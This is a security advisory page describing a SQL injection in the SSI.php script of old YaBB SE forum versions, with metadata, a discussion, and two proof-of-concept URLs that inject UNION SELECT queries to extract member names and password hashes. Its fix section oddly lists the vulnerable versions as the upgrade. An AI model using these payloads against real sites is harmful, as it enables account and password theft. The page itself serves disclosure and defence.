YABB SE SSI.PHP ID_MEMBER SQL Injection Vulnerability

BID:9449

Info

YABB SE SSI.PHP ID_MEMBER SQL Injection Vulnerability

Bugtraq ID: 9449
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Jan 19 2004 12:00AM
Updated: Jan 19 2004 12:00AM
Credit: Discovery of this vulnerability has been credited to "backspace" <[email protected]>.
Vulnerable: YaBB SE YaBB SE 1.5.4
YaBB SE YaBB SE 1.5.3
YaBB SE YaBB SE 1.5.2
YaBB SE YaBB SE 1.5.1
YaBB SE YaBB SE 1.5 .1 RC1
YaBB SE YaBB SE 1.5 .0
YaBB SE YaBB SE 1.4.1
YaBB SE YaBB SE 1.1.3
YaBB SE YaBB SE 0.8
Not Vulnerable: YaBB SE YaBB SE 1.5.5

Discussion

YABB SE SSI.PHP ID_MEMBER SQL Injection Vulnerability

A problem with YaBB SE could make it possible for a remote user launch SQL injection attacks.

It has been reported that a problem exists in the SSI.php script distributed as part of YaBB SE. Due to insufficient sanitizing of user-supplied URI parameters, it is possible for a remote user to inject arbitrary SQL queries into the database used by YaBB SE. This could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.

Exploit / POC

YABB SE SSI.PHP ID_MEMBER SQL Injection Vulnerability

The following proof of concept exploits have been provided:

http://www.example.com/yabbse/SSI.php?function=recentTopics&ID_MEMBER=1+OR+1=2)+LEFT+JOIN+yabbse_log_mark_read+AS+lmr+ON+(lmr.ID_BOARD=t.ID_BOARD+AND+lmr.ID_MEMBER=1+OR+1=2)+WHE
RE+m.ID_MSG+IN+(2,1)+AND+t.ID_TOPIC=m.ID_TOPIC+AND+b.ID_BOARD=t.ID_BOARD+UNION+SELECT+ID_MEMBER,+memberName,null,passwd,null,passwd,null,null,null,null,null,null+FROM+yab
bse_members+/*

OR

http://www.example.com/yabbse/SSI.php?function=recentTopics&ID_MEMBER=1+OR+1=1)+LEFT+JOIN+yabbse_log_mark_read+AS+lmr+ON+(lmr.ID_BOARD=t.ID_BOARD+AND+lmr.ID_MEMBER=1+OR+1=1)+UNI
ON+SELECT+ID_MEMBER,+memberName,null,passwd,null,passwd,null,null,null,null,null,null+FROM+yabbse_members+/*

Solution / Fix

YABB SE SSI.PHP ID_MEMBER SQL Injection Vulnerability

Solution:
The vendor has released an upgrade to address this issue:


YaBB SE YaBB SE 1.5 .1 RC1

YaBB SE YaBB SE 1.5 .0

YaBB SE YaBB SE 1.5.1

YaBB SE YaBB SE 1.5.2

YaBB SE YaBB SE 1.5.3

YaBB SE YaBB SE 1.5.4

References

YABB SE SSI.PHP ID_MEMBER SQL Injection Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report